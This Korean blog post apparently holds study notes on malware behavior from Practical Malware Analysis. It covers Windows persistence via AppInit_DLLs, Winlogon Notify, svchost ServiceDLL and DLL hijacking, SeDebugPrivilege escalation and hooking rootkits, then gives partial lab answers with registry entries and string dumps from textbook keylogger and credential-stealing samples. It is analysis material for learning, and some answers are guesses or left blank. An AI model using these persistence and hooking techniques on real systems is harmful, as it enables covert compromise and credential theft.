대부분의 프로세스는 User32.dll을 로드하며, 이 프로세스 대부분이 AppInit_DLLs도 로드한다. 그렇기에 악성코드 제작자는 일반적으로 개별 프로세스를 목표로 설정하여도 다수의 프로세스에서 로드되므로 악성코드의 페이로드를 실행하기 전에 어떤 프로세스가 DLL을 실행하고 있는지를 확인해야 한다. 이런 확인은 악의적인DLL의 DllMain에서 흔히 수행된다.

Winlogon 알림

멀웨어 코더들은 악성코드가 logon, logoff, startup, shutdown, lock screen 같은 특정 Winlogon 이벤트를 후킹하게 할 수 있다. 이를 통해 심지어 보호 모드에서 악성코드가 로드되게 할 수 있다. 해당 레지스트리 엔트리는 다음 레지스트리키의 Notify 값으로 구성돼 있다.

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"

winlogon.exe가 이벤트를 생성할 때 윈도우는 해당 이벤트를 처리할 DLL을 Notify 레지스트리 키에서 확인한다.


SvcHost DLL

모든 서비스는 레지스트리에서 유지되고, 레지스트리에서 삭제되면 해당 서비스는 시작되지 않는다. 악성코드는 종종 윈도우 서비스로 설치되지만, 일반적으로는 실행파일을 사용한다. 악성코드 유지를 위해 svchost.exe에 설치하면 독립형과는 달리 프로세스 목록과 레지스트리를 숨길 수 있다.

svchost.exe는 서비스를 위해 DLL로 실행되는 일반 호스트 프로세스이며, 윈도우 시스템에는 한번에 다수의 svchost.exe가 존재한다. svchost.exe 개별 객체는 개발과 테스트, 서비스 그룹 관리를 쉽게 할 수 있는 서비스 그룹을 포함한다. 해당 그룹은 다음 레지스트리 위치에 정의돼 있다.

""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost"


서비스는 레지스트리의 다음 위치에 정의돼 있다.

"HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName"


윈도우 서비스는 다수의 레지스트리 값을 갖고 있으며, 대다수는 DisplayName과 Description 같은 정보를 포함한다. 악성코드 제작자는 NetWareMan 같이 악성코드를 숨기는데 도움이 되는 값을 설정하기도 한다. 다른 서비스 레지스트리로는 서비스 실행 파일의 위치를 포함하는 ImagePath가 존재한다. svchost.exe DLL는 %Root%\System32\svchost.exe -k GroupName을 담고 있다.

모든 svchost.exe DLL은 ServiceDLL 값을 가진 parameters 키를 가지며, 악성코드 제작자는 악의적인 DLL의 위치를 여기에 설정한다. Parameters 키 아래에 있는 Start 값은 서비스가 언제 시작할지를 결정한다.(악의적인 코드는 일반적으로 시스템이 부팅하는 중에 실행이 되게 설정돼 있다.)

윈도우는 사전 정의된 서비스 그룹을 갖고 있으며, 새로운 그룹을 생성할 경우 쉽게 탐지가 가능하므로 악성코드는 일반적으로 이미 존재하는 그룹에 추가하거나 자주 쓰지않은 서비스를 덮어 쓴다.

Trojanized System Binaries

악성코드를 지속적으로 유지할 수 있는 다른 방법은 시스템 바이너리를 트로이목마화 하는 것이다. 이 기법을 이용해 다음번에 감염된 바이너리가 실행되거나 로드될 때 악성코드가 실행되게 시스템 바이너리의 바이트를 패치한다. 

일반적으로 시스템 바이너리의 엔트리 함수를 패치해 악성코드로 점프하게 조작한다. 악의적인 코드는 실행에 지장이 없게 일부 코드를 덮어 씌우거나 빈 섹션에 추가되므로 삽입된 코드는 일반적으로 악성코드를 로딩하며, 감염된 DLL의 어디에 추가되더라도 정상 동작한다. 해당 코드의 끝에는 정상동작하도록 원래의 코드로 다시 점프한다.

위의 그림은 정상적인 프로그램에 EP를 직접 추가한 부분의 지점으로 변경한 것이다. 이렇게 수정을 한후 코드의 마지막에는 OEP로 점프하도록 하였다. 이 경우 실행에는 아무 이상이 없다. 즉, 다른 악성코드를 넣은 상태에서 정상적인 파일인 것처럼 작동할 수 있다는 것이다.

DLL Load-order Hijacking

DLL 로딩 순서 하이재킹(DLL 하이재킹)은 악서오드 제작자가 레지스트리 수정이나 바이너리를 조작하지 않고 지속적이고 악의적인 DLL을 만들 수 있게 해주는 간단하면서도 은밀한 기법이다. 심지어 이 기법은 윈도우에서 Dll을 로딩할 때와 같이 별도의 악의적인로더를 필요로 하지 않는다.

윈도우 XP에서 DLL을 로딩하기 위한 기본 검색 순서는 다음과 같다.

1. 애플리케이션을 로딩하는 디렉터리

2. 현재 디렉터리

3. 시스템 디렉터리(\Windows\System32와 같은 경로를 얻기 위해 GetSystemDirectory 함수를 사용)

4. 16비트 시스템 디렉터리 (...\Windows\System\과 같은)

5. 윈도우 디렉터리(\Windows\와 같은 경로를 얻기 위해 GetSystemDirectory 함수를 사용)

6. PATH 환경 변수에 나열돼 있는 디렉터리

윈도우 XP 이후에는 KnownDLLs 레지스트리 키를 활용하기 때문에 DLL 로딩과정이 생략될 수 있다. KnownDLLs 메커니즘은 보안과 속도를 개선하기 위해 디자인 됐지만, 매우 중요한 DLL 목록만을 제한적으로 담을 수 있다. /System32 디렉터리를 제외한 다른 디렉터리에서 DLL 로딩순서 하이재킹을 할 수 있다. 

아래에 실습을 해보자면 원래의 GEncoder.exe가 import 하는 여러 dll 중에 version.dll이 존재한다. 이 dll이 해당 폴더에 존재하지 않으므로 이는 다른 순서를 통하여 해당 dll을 찾아 로딩되도록 한다.

하지만 아래와 같이 해당 dll을 해당 프로그램이 있는 위치에 만들어 놓는다면 우선 순위에 있는 현재 디렉터리 내에서 먼저 해당 dll을 찾는다. 그렇기에 아래와 같이 해당 dll이 로딩되어 실행이 되었고 이는 원래의 dll에 비하여 아무 내용도 없기에 바로 종료가 된다. 만약 본래의 dll에 악성코드만을 삽입한다면 아래와 같이 그 해당 악의적인 dll이 실행될 것이다.

이렇게 해당 순서에 맞게 해당 DLL을 찾게 되는데 우선 순위에 있는 같은 이름의 다른 dll이 정상적인 Dll인것 처럼 로딩 된다. 이후 악의적인 dll은 시스템의 정상 실행을 위해 원래의 dll을 로딩하도록 한다. 또한 아래와 같이 DLL 하이재킹은 현재에도 나오고 있는 취약점이다.


Privilege Escalation


사용자 대부분은 로컬 관리자로서 실행하며 이는 멀웨어 코더에게 좋은 환경이 된다. 이는 다시 말해 시스템의 관리자 권한을 갖고 있으며, 악성코드가 동일한 권한을 받을 수 있음을 의미 한다. 하지만 사용자가 시스템에서 악성코드를 실행했을 때 관리자 권한을 갖고 있지 않은 경우 악성코드는 일반적으로 모든 권한을 획득하기 위해 권한상을 시도한다.

권한 상승 공격의 주류는 로컬 운영체제에 대한 Exploit 이나 Zero-day 공격으로 알려져있으며, 다수를 메타스플로잇 프레임워크에서 찾을 수 있다. 또한 위에서의 DLL 하이재킹도 권한 상승에 사용할 수 있다. 악의적인 DLL이 위치하는 디렉터리에 대해 사용자가 쓰기 권한이 있고 DLL을 로딩하는 프로세스가 상위 권한으로 실행된다면 악의적인 DLL은 상위 권한을 획득할 수 있다.

Using SeDebugPrivilege

사용자가 실행하는 프로세스는 모든 것에 자유롭게 접근하지 못한다. 예를 들면 원격 프로세스의 TerminateProcess나 CreateRemoteThread 같은 함수를 호출하지 못한다. 악성코드가 이런 함수에 대한 권한을 획득하는 한 방법으로 접근 토큰의 권한에서 SeDebugPrivileage를 활성화한다. 소유자의 접근 권한을 설정하기 위해 보안 설명자(security descriptor)를 사용하며  AdjustTokenPrivileage를 호출해 접근 토큰을 조정할 수 있다.

원래 SeDebugPrivilege 권한은 시스템 레벨의 디버깅을 위한 도구로 만들어졌지만, 악성코드 제작자는 시스템 레벨 프로세스의 모든 권한을 얻기 위해 악용한다.


Covering It's Tracks - User Mode Rootkits


악의적인 행위를 숨기기 위해 사용되는 가장 일반적인 도구는 루트킷이라고 불린다. 루트킷은 다양한 형태를 가질 수 있지만, 대부분은 운영체제의 내부 기능 조작을 통해 동작한다. 일부 루트킷이 사용자 공간 애플리케이션을 조작하기도 하지만, 대부분의 루트킷은 커널을 조작한다. 침입 방지 시스템과 같은 보호 메커니즘이 커널에 설치돼 실행되기 때문이다. 여기선 사용자 레벨에서 후킹하는 방법을 알아보자.

IAT Hooking

IAT 후킹은 로컬 시스템에서 파일, 프로세스, 또는 네트워크 연결을 은닉하는 방법이다. Import Address Table 또는 Export Address Table을 조작한다.

Inline Hooking

인라인 후킹은 임포트된 DLL에 포함된 API 함수 코드를 덮어쓰므로, DLL이 실행을 위해 로딩될 떄까지 기다려야 한다. IAT 후킹은 단순히 포인터만 변경하지만, 인라인 후킹은 실제 함수 코드를 변경한다. 인라인 후킹을 하는 악의적인 루트킷은 정상적인 코드의 시작을 루트킷의 악의적인 코드 실행을 위한 점프하는 코드로 변경한다. 다른 방법으로는 악의적인 코드로 점프하지 않고 원래 코드의 함수를 훼손하거나 변경한다.


Conclusion


여기선 악성코드의 일반적인 능력 일부를 살짝 살펴봤다. 다른 종류의 백도어로 시작해서 악성코드가 인증정보를 훔치는 방법을 살펴봤다. 다음으로 악성 코드가 시스템에서 지속성을 유지하는 여러 가지 방법을 살펴봤다. 마지막으로는 악성코드가 쉽게 탐지되지 안게 자신의 흔적을 감추는 방법을 알아봤다. 이렇게 가장 일반 적인 악성코드의 행위 특성을 살펴봤다. 


참고

http://blog.daum.net/sysnet924/246

http://devanix.tistory.com/307

http://docs.kali.org/downloading/kali-linux-live-usb-persistence

한빛아카데미, 시스템 해킹과 보안, 양대일

https://www.youtube.com/watch?v=4EgYRxeFxbY

http://blog.turbovaccine.com/41

http://www.everyzone.com/service/boancommunication.asp?process_type=view&b_idx=-65&part=&BBS_id=boancommu&page=7&gubun=&keyword=&keyfield=



Lab11-01


1. 악성코드는 무엇을 디스크에 다운로드하는가?

리소스 섹션에 있던 msgina32.dll을 분리한다.


2. 악성코드는 어떻게 지속성을 유지한느가?

Software\Microsoft\Windows NT\CurrentVersion\Winlogon 레지스터에 등록하므로 지속성을 유지시킨다.


3. 악성코드는 어떻게 사용자의 인증정보를 훔치는가?

gina32.dll


4. 악성코드는 훔친 인증정보를 가지고 무엇을 하는가?

??


5. 테스트 환경에서 사용자 인증정보를 얻기 위해 악성코드를 어떻게 사용했는가?



"GinaDLL"="C:\\Documents and Settings\\Administrator\\Desktop\\PracticalMalwareAnalysis-Labs\\Practical Malware Analysis Labs\\BinaryCollection\\Chapter_11L\\msgina32.dll"

Resource Section의 숨겨져 있는 msgina32.dll을 생성


CreateReg,SetReg

CreateFile

LoadLibrary를 통해 resourse 섹션의 dll을 로딩함

MSgina.dll
msutil32.sys
GinaDLL


Lab11-02


Lab11-02.dll에 있는 악성코드를 분석하자. Lab11-02.ini 라는 의심 파일 역시 이 악성코드와 함께 발견됐다고 가정한다.

1. 이 DLL 악성코드에서는 무엇을 Export하는가?

installer

2. rundll32.exe를 이용해 이 악성코드를 위해서는 Lab11-02.ini가 어디에 위치해야 하는가?



3. 악성코드 올바르게 설치하기 위해서는 Lab11-02.ini가 어디에 위치해야 하는가?

C:\Windows\System32\Lab11-02.ini가 위치해야함


4. 이 악성코드는 어떻게 지속성을 유지하는가?

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] 

"AppInit_DLLs"="" 

"AppInit_DLLs"="spoolvxx32.dll" 


5. What user-space rootkit technique does this malware employ?

send >> inlinehook


6. 후킹 코드는 무엇을 하는가?


7. 이 악성코드는 어떤 프로세스를 공격하며, 그 이유는 무엇인가?

실행시키는 파일 or OllyDBG을 공격하는것 같다.


8. .ini 파일의 역할은 무엇인가?

디코딩하여 billy@malwareanalysisbook 라는 단어를 추출할 수가 있다.


9. WireShark를 이용해 어떻게 악성코드의 활동을 동적으로 캡처하는가?


CreateToolhelp32Snapshot

RegSetValue

CreateFile, ReadFile, CopyFile

000000003110   000010003110      0   spoolvxx32.dll

0000000030CC   0000100030CC     0   wsock32.dll

000000003130   000010003130       0   AppInit_DLLs
0000000030D8   0000100030D8       0   SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
00000000307C   00001000307C       0   THEBAT.EXE
000000003094    000010003094      0   OUTLOOK.EXE
0000000030AC   0000100030AC      0   MSIMN.EXE



Lab11-03


Lab11-03.exe와 Lab11-03.dll에서 발견되는 악성코드를 분석하자. 분석하는 동안 2개의 파일이 동일한 디렉터리에 있어야 함을 명심하자.

1. 기본 정적분석을 통해 발견할 수 있는 재미있는 분석 단서는 무엇인가?



2. 이 악성코드를 실행하면 어떤일이 일어나는가?

\SYSTEM\ControlSet001\Services\CiSvc\Enum       \SYSTEM\CurrentControlSet\Services\CiSvc\Enum] 

\SYSTEM\ControlSet001\Services\CiSvc\Enum] 
"0"="Root\\LEGACY_CISVC\\0000" 
"Count"=dword:00000001 
"NextInstance"=dword:00000001 

\SYSTEM\CurrentControlSet\Services\CiSvc\Enum] 
"0"="Root\\LEGACY_CISVC\\0000" 
"Count"=dword:00000001 
"NextInstance"=dword:00000001 
  
변화된 값
\SOFTWARE\Classes\Microsoft Internet Mail Message] 
@="Outlook Express Mail Message" 
@="Internet E-Mail Message" 

\SOFTWARE\Classes\Microsoft Internet News Message] 
@="Outlook Express News Message" 
@="Internet News Message" 

System32 폴더에 inet_epar32.dll와 kernel64x.dll를 생성

* 키로깅이 시작된다.


3. Lab11-03.exe은 Lab11-03.dll을 어떻게 영구적으로 설치하는가?

net start cisvc 서비스로 등록하여 유지를 한다.?



4. 악성코드는 어떤 윈도우 시스템 파일을 감염시키는가?

%System32%cisvc.exe


5. Lab11-03.dll은 무엇을 하는가?

뮤텍스를 체크하고 없을 경우 CreateFile 하고 SetFilePointer , 그리고 Keyevent가 있으면 WriteFile이므로 이 dll이 아마 다른곳으로 복사가 되는 것 같다.

폴링방식의 키로거



6. 악성코드는 수집한 데이터를 어디에 저장하는가?

%System32%kernel64x.dll 에 저장한다.


<DLL>

Dll Export : zzz69806582

000000007C91   000010007C91      0   zzz69806582

00000000804C   00001000804C      0   C:\WINDOWS\System32\kernel64x.dll
000000008038   000010008038      0   <SHIFT>     Shit라는 문자열이 있다는건 이 키가 어디에 사용이 된다? 혹은 사용을 감지해야한다.
000000007C82   000010007C82      0   Lab1103dll.dll
000000007554   000010007554      0   dddd, MMMM dd, yyyy
00000000754C   00001000754C      0   H:mm:ss
000000007C06   000010007C06      0   LoadLibraryA
0000000071A4   0000100071A4      0   runtime error 
0000000071B8   0000100071B8      0   TLOSS error
0000000071C8   0000100071C8      0   SING error
0000000071D8   0000100071D8      0   DOMAIN error
00000000745C   00001000745C      0   Runtime Error!
00000000746C   00001000746C      0   Program: 
000000007830   000010007830      0   CreateMutexA
000000007840   000010007840      0   OpenMutexA


<EXE>
0000000091B8   0000004091B8      0   C:\WINDOWS\System32\inet_epar32.dll
000000009184   000000409184      0   C:\WINDOWS\System32\%s
00000000919C   00000040919C      0   cisvc.exe
000000009174   000000409174      0   net start cisvc   서비스를 실행
0000000086E4   0000004086E4      0   CopyFileA       해당 dll을 다른 곳으로 복사를 한다. 예상으로는 inet_epar32.dll로 예상
0000000086D6   0000004086D6      0   CreateFileA     특정 파일의 존재여부를 확인
00000000821C   00000040821C      0   DOMAIN error
00000000820C   00000040820C      0   SING error
0000000081FC   0000004081FC      0   TLOSS error
0000000081E8   0000004081E8      0   runtime error 
0000000080F0   0000004080F0      0   command.com
0000000080E8   0000004080E8      0   cmd.exe
000000008100   000000408100      0   COMSPEC














'Reversing > Theory' 카테고리의 다른 글

데이터 인코딩  (0) 2015.08.26
위장 악성코드 실행  (1) 2015.08.24
Code Virtualized - 코드 가상화 참고자료  (0) 2015.08.17
Practical Malware Analysis - 1  (0) 2015.07.31
x86 Instruction Set Reference  (0) 2015.07.29

'Reversing > Theory' 카테고리의 다른 글

위장 악성코드 실행  (1) 2015.08.24
Malware Behavior ( 악성코드의 행위 특성 )  (0) 2015.08.20
Practical Malware Analysis - 1  (0) 2015.07.31
x86 Instruction Set Reference  (0) 2015.07.29
RVA to RAW 쉽게 생각해보기  (1) 2015.03.20